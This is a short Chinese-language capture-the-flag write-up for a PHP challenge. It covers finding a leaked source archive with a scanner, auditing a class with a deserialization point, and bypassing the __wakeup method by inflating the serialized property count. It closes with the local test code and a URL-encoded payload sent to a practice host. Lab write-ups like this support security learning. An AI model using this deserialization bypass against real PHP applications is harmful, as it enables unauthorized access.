[極客大挑戰 2019]PHP

提示原始碼洩漏，來用掃描器掃一下
掃出來www.zip，然後下載下來

有五個檔案，程式碼審計一下

這個地方有一個可以反序列化的點，找到類

邏輯很簡單，username=admin password=100即可
但是有一個wakeup魔術方法會將我們的username=guest，改物件屬性個數繞過即可

本地寫個測試檔案來找payload

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}

$name = new Name('admin','100');
echo serialize($name);

// payload     O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
 

然後注意是私有屬性，別忘了加%00

payload = http://00ec61b4-c182-4e4c-9b0e-e733a0d2ebc7.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

得到flag